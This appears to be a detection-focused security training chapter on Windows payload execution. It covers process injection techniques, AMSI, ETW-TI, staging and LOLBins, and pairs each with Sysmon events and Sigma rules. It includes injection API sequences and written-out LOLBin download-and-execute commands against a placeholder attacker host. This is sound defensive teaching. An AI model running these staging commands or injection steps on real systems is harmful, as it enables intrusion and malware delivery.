WARMUP — Payload Development & Execution (Detection-Forward)

From zero to principal-level. Every injection technique built from the OS primitive up. Every staging strategy paired with its telemetry. Every technique ends in its detection.


Table of Contents


Chapter 1 — The Execution Problem and Why Detection Governs It

What execution means at the engagement level

After achieving a foothold (Phase 03), escalating privilege (Phase 04), and mapping AD paths (Phase 05), the engagement needs to execute capability on the footholds: load code into memory, run it in the context of a privileged principal, and have it communicate with the C2 (Phase 08). This is the execution phase.

The word "execution" is sometimes used to mean "running an EXE." At the engagement level it means something more precise: getting a specific code sequence — the implant — into a process's address space in a way that the EDR, AMSI, and ETW sensors do not prevent, while leaving the minimum telemetry footprint that the engagement's OPSEC profile allows.

Why detection governs execution choice

There is no execution technique that is undetectable. Every technique:

  1. Requires OS primitives (memory allocation, cross-process write, thread creation).
  2. Those primitives generate events at the kernel boundary.
  3. Those events are observable by sensors (ETW-TI, Sysmon, kernel callbacks).

The correct framing: given this org's sensor inventory, which execution technique generates the smallest observable footprint at the sensors they actually have? That is an OPSEC and detection question, not a purely offensive one. And the deliverable is always: technique + sensors that see it + detection that fires.


Chapter 2 — OS Memory Primitives Underpinning Injection

All injection techniques compose from five OS primitives:

PrimitiveWin32 APIWhat it doesETW-TI event
Allocate remote memoryVirtualAllocEx(target, ...)Reserve+commit memory in another processALLOCATE_VIRTUAL_MEMORY
Write remote memoryWriteProcessMemory(target, addr, buf, size)Copy bytes into another process's memoryWRITE_VIRTUAL_MEMORY
Protect remote memoryVirtualProtectEx(target, addr, size, prot)Change page permissions (e.g., RW → RX)(flags change; observable as modify)
Map sectionNtMapViewOfSection(section, target, addr, ...)Map a section object into another processMAP_VIEW_OF_SECTION
Create remote threadCreateRemoteThread(target, ..., start, arg, ...)Create a thread in another process(kernel thread callback)
Queue APCQueueUserAPC(func, thread, arg)Queue callback on an alertable thread(kernel APC callback)

ETW-TI (Event Tracing for Windows — Threat Intelligence provider) is the key: it is a kernel-emitted provider. It records memory allocation, write, and protection events for cross-process operations. Unlike user-mode ETW providers, it cannot be disabled by patching EtwEventWrite in user mode — it fires in the kernel before the user-mode return. This is the invariant Phase 07 formalizes: user-mode evasion does not blind ETW-TI.


Chapter 3 — The Six Injection Families: API Sequence + Sensor + Detection

3.1 Remote Thread Injection (T1055.003)

API sequence:

  1. OpenProcess(PROCESS_ALL_ACCESS, target_pid) — get a handle to the target.
  2. VirtualAllocEx(target, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) — allocate RWX memory in target.
  3. WriteProcessMemory(target, remote_addr, shellcode, size) — copy payload.
  4. CreateRemoteThread(target, NULL, 0, remote_addr, NULL, 0, NULL) — start execution.

Sensors and events:

  • Sysmon EID 10 (ProcessAccess): fires on OpenProcess — records GrantedAccess mask and source/target images. A PROCESS_VM_WRITE access from a non-system process to explorer.exe is immediately suspicious.
  • Sysmon EID 8 (CreateRemoteThread): fires on CreateRemoteThread — records SourceImage, TargetImage, StartAddress.
  • ETW-TI: ALLOCATE_VIRTUAL_MEMORY and WRITE_VIRTUAL_MEMORY for the remote operations.

Detection rule (Sigma):

title: Remote Thread Injection — Non-System Source
logsource: {product: windows, category: create_remote_thread}
detection:
  selection:
    SourceImage|startswith:
      - 'C:\Users\'
      - 'C:\Temp\'
    TargetImage|endswith:
      - '\explorer.exe'
      - '\lsass.exe'
      - '\svchost.exe'
  condition: selection
tags: [attack.t1055.003]

3.2 APC Injection (T1055.004)

API sequence:

  1. OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, target_pid)
  2. VirtualAllocEx(target, ...)WriteProcessMemory(target, ...) (same as above)
  3. OpenThread(THREAD_SET_CONTEXT, alertable_tid) — get a handle to an alertable thread.
  4. QueueUserAPC(remote_addr, thread_handle, NULL) — queue the callback.

The callback executes the next time that thread enters an alertable wait state (SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx with MWMO_ALERTABLE).

Key difference from remote thread: no CreateRemoteThread call → no Sysmon EID 8. The detection relies on EID 10 (cross-process handle open) plus ETW-TI alloc/write events plus kernel thread-notification callbacks for the APC delivery.

OPSEC note: quieter than remote thread because it does not create a new thread; relies on scheduler delivering the APC. But it requires finding an alertable thread.

3.3 Process Hollowing (T1055.012)

API sequence:

  1. CreateProcess(benign_exe, CREATE_SUSPENDED) — create the decoy process, suspended.
  2. NtUnmapViewOfSection(child_handle, image_base) — unmap the original image.
  3. VirtualAllocEx(child_handle, image_base, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE) — allocate space for attacker image at original base address.
  4. WriteProcessMemory(child_handle, image_base, pe_image, size) — write attacker PE.
  5. SetThreadContext(child_thread, new_ctx) — redirect entry point.
  6. ResumeThread(child_thread) — resume.

What this achieves: the process appears to be svchost.exe or notepad.exe in the process list (inheriting the creation arguments) but executes attacker code. The child's address space contains the attacker's PE, not the original.

Sensors and events:

  • Sysmon EID 1: CreateProcess of the decoy binary.
  • Sysmon EID 10: parent opens the child with PROCESS_VM_WRITE.
  • ETW-TI: WRITE_VIRTUAL_MEMORY into the child process.
  • Memory forensics: the mapped image does not match the on-disk file — pe-sieve detects this in live memory analysis.

Detection key: a process created with CREATE_SUSPENDED that is immediately written into via cross-process write before being resumed — behavioral chain, not file hash.

3.4 DLL Injection (T1055.001)

API sequence: 1–3. Same OpenProcess/VirtualAllocEx/WriteProcessMemory as remote thread — but writing a DLL path string (not shellcode). 4. GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA") — get the LoadLibraryA VA. 5. CreateRemoteThread(target, NULL, 0, LoadLibraryA_addr, dll_path_remote_addr, 0, NULL) — cause target to call LoadLibraryA with the DLL path. 6. Target loads the DLL; DllMain executes as the main thread.

What the target sees: a new DLL mapped in its address space, loaded via LoadLibraryA.

Sensors:

  • Sysmon EID 8: CreateRemoteThread to LoadLibraryA address.
  • Sysmon EID 7: ImageLoad in the target process — the DLL path is logged. If the DLL is in %TEMP% or %APPDATA% and is unsigned, this is a high-confidence alert.
  • Sysmon EID 10: OpenProcess with PROCESS_VM_WRITE.
  • ETW-TI: alloc + write for the DLL path string.

3.5 Reflective DLL Injection (T1055.001 variant)

Standard DLL injection requires the DLL to be on disk (LoadLibraryA reads from disk). Reflective DLL injection removes this requirement: the DLL contains a ReflectiveLoader export function that maps the PE from memory without calling LoadLibraryA.

API sequence (caller side):

  1. OpenProcess + VirtualAllocEx + WriteProcessMemory — write the entire PE blob (not a path).
  2. CreateRemoteThread(target, NULL, 0, reflective_loader_offset_within_blob, remote_addr, 0, NULL)

ReflectiveLoader (within the DLL — concept only):

  • Locates its own PE headers in memory.
  • Maps each section to the correct RVA.
  • Resolves imports by walking the loaded module list in the PEB.
  • Calls DllMain.

No LoadLibraryA call; no file on disk.

Sensors:

  • Sysmon EID 7: the image load event still fires (the kernel image-load callback fires when a PE image is mapped). But ImageLoaded may be empty or "unknown" — there is no file backing the image. This is the "unbacked module" detection.
  • ETW-TI: ALLOCATE_VIRTUAL_MEMORY with execute permission + WRITE_VIRTUAL_MEMORY into target.
  • Kernel image-load callback: fires when the PE is reflected — PsSetLoadImageNotifyRoutine gets the VA of the mapped image; the image path is empty (no disk file).

Detection key: Sysmon EID 7 where Signed=false and the ImageLoaded path does not exist on disk — the "unbacked module" pattern.

3.6 NtMapViewOfSection Injection (T1055.002)

Avoids VirtualAllocEx by using the Windows Section Object mechanism (the same primitive the Windows loader uses to map executables into address spaces):

  1. NtCreateSection(out_handle, SECTION_MAP_EXECUTE|SECTION_MAP_WRITE, NULL, size, ...) — create a shared memory section with execute+write permissions.
  2. NtMapViewOfSection(section, GetCurrentProcess(), local_addr, ...) — map it into the attacker's process (local view, writable).
  3. memcpy(local_addr, payload, size) — write payload into the local view.
  4. NtMapViewOfSection(section, target_process, remote_addr, ..., PAGE_EXECUTE_READ) — map the section into the target process (remote view, executable).
  5. NtCreateThreadEx(target_process, remote_addr, ...) — execute.

Why this is attempted as evasion: avoids VirtualAllocEx / WriteProcessMemory call sequence. But ETW-TI fires on MAP_VIEW_OF_SECTION for the remote mapping — so the evasion changes the API names, not the observable.


Chapter 4 — ETW-TI: Why It Survives User-Mode Evasion

User-mode hooks in ntdll.dll intercept Nt* syscalls before they transition to the kernel. If a tool patches the ntdll hook (direct/indirect syscalls, unhooking) it bypasses the user-mode interception — but the system call still executes in the kernel.

ETW-TI events are generated inside the kernel, not in user mode. The Microsoft-Windows-Threat- Intelligence provider registers in-kernel callbacks for:

  • ALLOCATE_VIRTUAL_MEMORY
  • PROTECT_VIRTUAL_MEMORY
  • MAP_VIEW_OF_SECTION
  • WRITE_VIRTUAL_MEMORY
  • QUEUE_USER_APC_THREAD and SET_THREAD_CONTEXT

These callbacks fire in kernel mode before returning to user mode. A user-mode ntdll patch does not suppress them. Patching EtwEventWrite in the attacker's own process does not affect the kernel-emitted events. This is the core invariant: no user-mode evasion blinds ETW-TI.

Phase 07 (EDR Internals) formalizes this as the residual-visibility theorem for injection: even with all user-mode sensors blinded, ETW-TI and kernel callbacks survive. The injection-technique detection mapper (Lab 01) models this directly.


Chapter 5 — AMSI in the Execution Path

AMSI (Antimalware Scan Interface) is a Windows API that allows applications to scan content before executing it. It sits at the execution boundary for:

  • PowerShell: each script block (after de-obfuscation) is scanned before execution.
  • .NET CLR: script/assembly buffers are scanned at load time.
  • VBScript/JScript (wscript.exe/cscript.exe): script content scanned at parse time.
  • Office macros (with AMSI integration): macro source scanned on execution.

AMSI does not prevent execution — it provides a hook for AV/EDR to scan the de-obfuscated content. The AV/EDR calls AmsiScanBuffer and, if it returns AMSI_RESULT_DETECTED, the runtime raises an exception.

AMSI bypass (concept only, detection focus): The bypass modifies amsi.dll in the calling process's address space — typically patching AmsiScanBuffer to always return AMSI_RESULT_CLEAN. This is itself observable:

  • An RWX write to the .text section of amsi.dll (Sysmon EID 7/ETW image-load write).
  • A memory scan that finds the patched bytes.
  • Behavioral: AMSI scanning stops reporting detections after the bypass — sudden silence from a process that was scanning is anomalous.

Phase 07 covers AMSI residual-visibility in depth (Lab 02). Here the key point: AMSI is not a kernel sensor — it is a user-mode DLL. It is bypassable. The residual detection for AMSI bypass is the bypass behavior itself, not the script content the bypass would have scanned.


Chapter 6 — Staging Strategies and Their Telemetry

Getting execution capability to a host requires staging — the operation of transferring the implant from somewhere (C2 server, another compromised host, an embedded payload) to memory on the target.

Disk staging

What it is: download or drop a file to disk, then load/execute it.

Steps: (1) Network download (HTTP/S, SMB), (2) file write to disk, (3) process create or DLL load from disk.

Telemetry:

  • Sysmon EID 11 (FileCreate): the file write.
  • Sysmon EID 3 (NetworkConnect): the download connection.
  • Sysmon EID 1 (ProcessCreate) or EID 7 (ImageLoad): the execution.

Detection: file written to a user-writable directory (temp, profile) by a process that also made a network connection shortly before — temporal correlation.

Memory-only staging

What it is: receive the payload over a network connection or from an existing process in memory, load it reflectively, never write to disk.

Steps: (1) C2 connection, (2) receive PE blob over socket, (3) reflective load.

Telemetry:

  • Sysmon EID 3: the C2 network connection.
  • ETW-TI: ALLOCATE_VIRTUAL_MEMORY for the PE allocation.
  • Sysmon EID 7: the image-load event (unbacked module — no file path).

Detection: image-load with no corresponding file-create + Signed=false + on_disk=false.

LOLBin staging

What it is: use a signed, trusted OS binary to download and/or execute the payload, inheriting the binary's trust level and digital signature.

Examples:

  • certutil.exe -urlcache -split -f http://attacker.example/stage.exe stage.exe
  • bitsadmin /transfer Job /download http://attacker.example/stage.exe C:\Temp\stage.exe
  • mshta.exe http://attacker.example/payload.hta
  • regsvr32.exe /u /s /i:http://attacker.example/payload.sct scrobj.dll
  • powershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString('http://...')"

Telemetry:

  • Sysmon EID 1: the LOLBin process-create with the suspicious command line.
  • Sysmon EID 3: the outbound network connection from the LOLBin.
  • Network proxy: HTTP GET to an unexpected domain from a system binary.

Detection: LOLBin process with staging keyword in command line (Sysmon EID 1) AND/OR outbound network from a LOLBin process (Sysmon EID 3). Both are well-covered by public Sigma rules.


Chapter 7 — LOLBins: Living Off the Land for Staging

A LOLBin (Living-Off-the-Land Binary) is a signed Windows system binary that has unintended capability — typically the ability to download, decode, or execute code — that an attacker exploits while inheriting the binary's signature and trust level.

Why they are used: AV/EDR products often allowlist system binaries by signature. A certutil.exe download does not trigger signature-based detection on the binary itself. The detection must come from behavioral signals: what the binary is doing (command line, network connection, file writes) rather than what it is.

The LOLBAS catalog (lolbas-project.github.io) documents each binary's staging/execution capability and the detection notes for each.

Key binaries for staging:

  • certutil.exe: -urlcache -split -f URL output downloads a file. Widely detected by Sysmon EID 1 CommandLine matching -urlcache + Sysmon EID 3 from certutil.exe.
  • bitsadmin.exe: /transfer creates a BITS job to download. BITS jobs are logged in Windows Event Log (EID 59, 60, 61 in the BITS-Client operational log).
  • mshta.exe: executes HTA (HTML Application) files, locally or via URL. Parent process is often a document or browser — Sysmon EID 1 parent-child anomaly.
  • regsvr32.exe: /i:URL scrobj.dll downloads and executes a COM scriptlet. "Squiblydoo." Well-known Sigma rule on regsvr32 + remote URL argument.

Chapter 8 — The Pyramid of Pain Applied to Execution

IOC layerExample for injectionAdversary cost to change
File hashHash of the injector binaryRecompile (seconds)
imphashImport table fingerprintAdd one dummy import
Tool name"This process is calc.exe"Rename the process image
Named artifactDefault named pipe / mutex nameChange C2 profile config
API call patternVirtualAllocExWriteProcessMemoryCreateRemoteThreadRedesign injection primitive
TTP"Code injected into a remote process" (the behavior)Redesign the entire technique

For execution techniques, the bottom three layers (hash, imphash, tool name) are useless as durable detections — the recompile cycle is trivial. The API-call-pattern layer is where ETW-TI operates: the three-step injection sequence is a TTP-level behavioral observable. The top-level TTP ("code injection") is the detection rationale that justifies the investment.


Chapter 9 — Misconceptions

"Process hollowing hides the process from the task manager." No. The process appears in the task manager under its decoy name (e.g. svchost.exe). What hollowing achieves is that the code running is different from the code on disk. Memory forensics (pe-sieve, volatility) catches this by comparing the in-memory PE against the on-disk file.

"Reflective DLL injection leaves no trace because there is no file." The image-load kernel callback still fires. Sysmon EID 7 still records the load — with an empty or unknown path (the "unbacked module" indicator). ETW-TI records the allocation and write. No disk trace ≠ no trace.

"APC injection is undetectable." No Sysmon EID 8, yes — but the cross-process write (EID 10) and ETW-TI allocation events are the same as remote thread. APC injection requires an additional OpenThread call. The difference is in thread creation, not in memory operations.

"LOLBins evade detection because they are trusted." They are trusted at the binary level — the binary's hash and signature are legitimate. The command line and network behavior are not trusted. Sysmon EID 1 CommandLine matching staging keywords fires regardless of the binary's signature. The LOLBAS catalog exists precisely because these detections are well-known.

"Staging in-memory means the blue team cannot find the payload." Memory-only staging leaves ETW- TI alloc events and an unbacked image-load event. Live-system forensics (EDR memory scan, pe-sieve) detects unbacked PE images in process address spaces. Memory-only reduces the disk artifact; it does not remove the observable.


Lab Walkthrough

Lab 01 — Injection Technique Detection Mapper

Purpose. Given a technique name from the TECHNIQUES catalog, return the API sequence, required sensors, Sysmon EIDs, and detection key. Given a set of sensors, compute coverage (covered/partial/ blind) for a list of techniques and identify the best sensor to add.

Key data flow:

  1. technique_info("remote_thread") → returns the catalog entry for remote thread injection.
  2. coverage(["remote_thread", "apc_injection"], {"etw_ti"}){"remote_thread": "partial", "apc_injection": "partial"} (both require etw_ti + others; one sensor present → partial).
  3. best_sensor_to_add(ALL, set()) → should return "etw_ti" because it appears in every technique's required_sensors.

Running:

cd lab-01-injection-technique-detection-mapper
LAB_MODULE=solution python3 -m pytest -q   # 13 tests

Lab 02 — Payload Staging Analyzer

Purpose. Given a list of synthetic host events (process_create, network_connect, file_create, image_load), classify the staging strategy and return detection findings for each observable.

Key data flow:

  1. lolbin_findings(events) — finds process_create events where the image is a LOLBin AND the command line contains a staging keyword (certutil + -urlcache).
  2. staging_network_findings(events) — finds network_connect events from LOLBin processes.
  3. unbacked_image_findings(events) — finds image_load events where on_disk=False.
  4. classify_strategy(events) — "lolbin" if lolbin_findings non-empty; else "memory_only" if any unbacked image load; else "disk" if image_load of a file_created file; else "unknown".
  5. analyze(events) — returns {strategy, findings}.

Running:

cd ../lab-02-payload-staging-analyzer
LAB_MODULE=solution python3 -m pytest -q   # 12 tests

Success Criteria

After completing this phase, without notes you can:

  • Name the six injection families and their API sequences.
  • State which Sysmon EID fires for each injection technique (EID 1/7/8/10).
  • Explain why ETW-TI survives user-mode hook bypass.
  • Explain AMSI — where it sits and why the bypass is itself detectable.
  • Name the three staging strategies and their telemetry.
  • Name three LOLBins used for staging and their detection.
  • Apply the Pyramid of Pain to an execution technique detection question.
  • Pass both labs (13 + 12 tests green with LAB_MODULE=solution).

Common Mistakes and OPSEC

Presenting injection without the detection. Every injection explanation in an interview or report must pair the API sequence with the sensor and the detection rule.

Claiming LOLBin staging is low-risk. Certutil + -urlcache is one of the most detected patterns in enterprise environments. The LOLBAS catalog links directly to public Sigma rules.

Confusing "no file" with "no trace." Reflective injection has no disk artifact but has ETW-TI alloc events and an unbacked image-load event. Distinguish file-system artifact from telemetry artifact.

Missing the CREATE_SUSPENDED indicator for process hollowing. The detection for process hollowing is behavioral: a suspended process created by a non-system parent, followed immediately by a cross-process write. That chain is the finding, not the content of the hollowed process.


Interview Q&A

Q1: Walk me through remote thread injection — API sequence, sensors, detection rule.

Answer:

Remote thread injection is the most basic injection primitive. The sequence:

  1. OpenProcess(PROCESS_ALL_ACCESS, target_pid) — acquire a handle to the target process. The PROCESS_VM_WRITE access flag in the access mask causes Sysmon EID 10 (ProcessAccess) to fire, recording the calling process image, the target process image, and the GrantedAccess mask.

  2. VirtualAllocEx(target_handle, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) — allocate RWX memory in the target. ETW-TI fires ALLOCATE_VIRTUAL_MEMORY with the target process handle, the allocated address, and the page protection.

  3. WriteProcessMemory(target_handle, remote_addr, shellcode, size, NULL) — copy payload to the remote address. ETW-TI fires WRITE_VIRTUAL_MEMORY with the write target and size.

  4. CreateRemoteThread(target_handle, NULL, 0, remote_addr, NULL, 0, NULL) — create a thread at the payload's entry point. Sysmon EID 8 (CreateRemoteThread) fires, recording SourceImage (the injector), TargetImage (the victim), and StartAddress.

Detection rule:

title: Remote Thread to System Process from User Path
logsource: {product: windows, category: create_remote_thread}
detection:
  selection:
    SourceImage|startswith:
      - 'C:\Users\'
      - 'C:\Temp\'
      - 'C:\ProgramData\'
    TargetImage|endswith:
      - '\svchost.exe'
      - '\explorer.exe'
  condition: selection

This fires on any remote thread created by a user-directory process targeting a system process — the behavior, not the binary identity. It survives recompile and binary renaming.


Q2: What is process hollowing? How does it differ from remote thread injection, and what is the residual detection?

Answer:

Process hollowing (T1055.012) creates a decoy process in a suspended state, replaces its image with attacker code, then resumes it. The decoy process is typically a legitimate system binary (svchost.exe, notepad.exe, dllhost.exe) so that the resulting process appears legitimate in the process list.

Steps:

  1. CreateProcess(benign_exe, CREATE_SUSPENDED) — the decoy process is created but not yet running.
  2. NtUnmapViewOfSection(child_handle, image_base) — unmap the legitimate image from the child's address space.
  3. VirtualAllocEx + WriteProcessMemory — write the attacker's PE at the original image base.
  4. SetThreadContext — redirect the child's main thread entry point to the new PE's entry point.
  5. ResumeThread — start execution.

Difference from remote thread: Remote thread injection adds a new thread to an existing, running process. Process hollowing replaces the image of a new, suspended process before it executes even a single instruction. The result is a process running under a different name and image path than what is on disk.

Residual detection:

The observable footprint is the combination of:

  • Sysmon EID 1: CreateProcess with CREATE_SUSPENDED (the creation flag shows in Sysmon if configured; parent-child relationship is usually anomalous — e.g., a user-space process spawning svchost.exe).
  • Sysmon EID 10: the parent opens the child with PROCESS_VM_WRITE access — a parent writing to its own child immediately after process creation.
  • ETW-TI: WRITE_VIRTUAL_MEMORY from the parent to the child's image base.
  • pe-sieve / live memory scan: the in-memory PE image does not match the on-disk PE — hash mismatch between the live process memory and C:\Windows\System32\svchost.exe.

The detection key: the CREATE_SUSPENDED + cross-process-write + SetThreadContext sequence, not the content of the hollow.


Q3: What makes reflective DLL injection different, and why does it leave an "unbacked" image load?

Answer:

Standard DLL injection uses CreateRemoteThread with LoadLibraryA as the start address. The OS loader then loads the DLL from disk — it reads the file at the DLL path, maps sections, resolves imports via LoadLibraryA. The DLL must exist on disk.

Reflective DLL injection removes the disk requirement: the DLL contains a special export called ReflectiveLoader. The injector writes the entire PE blob to remote memory (not a path string) and starts a thread at the ReflectiveLoader entry point offset within that blob.

ReflectiveLoader (concept — no code): it is a self-contained PE mapper. It locates its own PE headers (by walking memory from its current execution address to find the MZ / PE\0\0 magic), maps each section at the correct RVA, walks the loaded-module list in the PEB to resolve imports without calling LoadLibraryA, and calls DllMain. The entire operation happens in memory; no file is ever written to disk and no LoadLibraryA or LdrLoadDll is called.

Why "unbacked": every PE image has a file backing on disk — the page-fault handler for code pages reloads them from the file when needed. A reflectively loaded PE has no file backing: it was copied into a private allocation. The kernel image-load callback (PsSetLoadImageNotifyRoutine) still fires when the PE is mapped (because the callback fires on PE mapping events, not just file- backed loads), but the image path it provides is empty or null — there is no file to point to.

Sysmon EID 7 records this as ImageLoaded = "" or ImageLoaded = Unknown with Signed = false. That combination — unsigned image load with no backing file — is the high-confidence "unbacked module" detection that EDR products alert on.


Q4: Explain APC injection — what is an APC, what does alertable mean, and how is it detected?

Answer:

An APC (Asynchronous Procedure Call) is a user-mode callback mechanism in Windows. A thread can have a queue of APC callbacks associated with it. Those callbacks execute only when the thread enters an alertable wait state — a blocking API call made with the alertable flag set, such as:

  • SleepEx(timeout, TRUE) — the TRUE is the alertable flag.
  • WaitForSingleObjectEx(handle, timeout, TRUE).
  • MsgWaitForMultipleObjectsEx(..., MWMO_ALERTABLE).

The OS delivers all queued APCs when a thread calls an alertable wait, executing them before returning from the wait.

APC injection exploits this: the attacker:

  1. Finds a thread in the target process that is likely to enter an alertable wait (GUI threads, worker threads in thread pools, threads in SleepEx loops).
  2. Allocates + writes payload to the target process (same VirtualAllocEx + WriteProcessMemory as remote thread).
  3. Calls QueueUserAPC(payload_addr, target_thread_handle, NULL).
  4. The next time the target thread calls an alertable wait, the payload executes.

Detection differences from remote thread:

  • No Sysmon EID 8 — no CreateRemoteThread call.
  • Sysmon EID 10 still fires on the OpenProcess (with PROCESS_VM_WRITE for the alloc/write) and on the OpenThread (with THREAD_SET_CONTEXT for the APC queue).
  • ETW-TI: ALLOCATE_VIRTUAL_MEMORY + WRITE_VIRTUAL_MEMORY same as remote thread; plus QUEUE_USER_APC_THREAD if the EDR subscribes to that ETW-TI callback.
  • Kernel thread callback: the APC delivery is observable via PsSetCreateThreadNotifyRoutine (fires on APC callback initiation in some EDR implementations).

The detection: cross-process handle open with PROCESS_VM_WRITE (EID 10) + ETW-TI alloc/write, absent a corresponding CreateRemoteThread event — the "silent injection" pattern that signals APC or section-based injection rather than remote-thread injection.


Q5: What are the three staging strategies, and for each, name the host-telemetry artifact and the detection?

Answer:

1. Disk staging. The payload is downloaded or dropped as a file, then executed from disk.

Host telemetry:

  • Sysmon EID 3: outbound network connection (the download).
  • Sysmon EID 11: file creation in a user-writable directory (the dropped file).
  • Sysmon EID 7 or EID 1: the image load or process creation of the dropped file.

Detection: temporal correlation — Sysmon EID 3 (network) followed within seconds by EID 11 (file write) from the same process, followed by EID 1 (execution) of the written file path. Sigma rule on FileCreate in %TEMP% / %APPDATA% by a process that made an external connection, or on ProcessCreate where image path matches a recently created file.

2. Memory-only staging. The payload is received over a network connection and loaded reflectively without being written to disk.

Host telemetry:

  • Sysmon EID 3: the C2 network connection (still observable).
  • ETW-TI: ALLOCATE_VIRTUAL_MEMORY for the PE allocation (cannot be hidden).
  • Sysmon EID 7: image-load event with Signed=false and no backing file (unbacked module).

Detection: Sysmon EID 7 where ImageLoaded is empty or in a temp path and Signed=false — the "unbacked module" detection. The absence of a prior EID 11 for the image path is the confirming signal that no file was written.

3. LOLBin staging. A signed OS binary is used to download or execute the payload.

Host telemetry:

  • Sysmon EID 1: the LOLBin process-create with staging-relevant command line (certutil -urlcache, bitsadmin /transfer, mshta http://...).
  • Sysmon EID 3: outbound network connection from the LOLBin process.
  • Network proxy: HTTP GET from a system binary to an unexpected external host.

Detection: Sysmon EID 1 where Image|endswith: certutil.exe (or any LOLBAS binary) and CommandLine|contains: -urlcache (or other staging keyword). And/or EID 3 where the process image is a known LOLBin and the destination is an external IP/domain. Public Sigma rules exist for every major LOLBin staging pattern. The signed binary status does not suppress these detections — they key on behavior, not signature.


Q6: Why does ETW-TI survive user-mode hooking bypass, and why is it the residual injection detection?

Answer:

ETW-TI stands for Event Tracing for Windows — Threat Intelligence provider. It is a Windows kernel component that emits telemetry for memory-manipulation operations. The key architectural point: it runs in kernel mode.

Standard user-mode hook bypass (direct syscalls, unhooking ntdll): when a program patches the Nt* function preambles in its own copy of ntdll.dll, or uses direct syscall stubs to jump to the kernel system-call entry point, it bypasses the user-mode detour installed by the EDR agent. The user-mode hook is not called. But the system call still executes in the kernel — and ETW-TI callbacks are registered in the kernel as part of the system call implementation.

Specifically, NtAllocateVirtualMemory (the kernel-mode system call behind VirtualAllocEx) triggers ETW-TI's ALLOCATE_VIRTUAL_MEMORY event as part of its execution path inside the kernel, before returning to user mode. The user-mode ntdll detour was bypassed, but the kernel-side ETW-TI callback was not.

Similarly, patching EtwEventWrite in user mode (to suppress ETW output from the attacker's own process) only affects user-mode ETW providers. The ETW-TI provider emits from the kernel context; EtwEventWrite in user mode is irrelevant.

This makes ETW-TI the residual sensor for injection: after all user-mode evasion (ntdll unhooking, direct syscalls, AMSI bypass, ETW user-mode patch), ETW-TI's alloc/write/map events still fire. The injection technique detection mapper (Lab 01) models etw_ti as a required sensor for every injection technique — because it is the one that no user-mode evasion removes.

The detection built on ETW-TI is therefore a TTP-level detection: it fires on the behavior (cross-process memory allocation with execute permission), not on a tool name or file hash. It survives recompilation, renaming, and all user-mode evasion — only redesigning the injection primitive removes it.


References

  • Windows Internals, 7th ed. (Russinovich et al.) — chapters on virtual memory, section objects, process creation, APC.
  • Microsoft Docs: CreateRemoteThread, VirtualAllocEx, WriteProcessMemory, NtMapViewOfSection, QueueUserAPC, SetThreadContext.
  • MITRE ATT&CK: T1055 and all sub-techniques (T1055.001 through T1055.015).
  • ETW Threat Intelligence provider — Microsoft documentation; Elastic Security Labs blog posts on ETW-TI internals.
  • Sysmon event reference — EID 1, 3, 7, 8, 10, 11.
  • LOLBAS projectlolbas-project.github.io — per-binary staging techniques and detections.
  • SigmaHQgithub.com/SigmaHQ/sigma — T1055.* and T1218.* rules.
  • MITRE ATT&CK data sources documentation — "data component" concept mapping to Sysmon EIDs.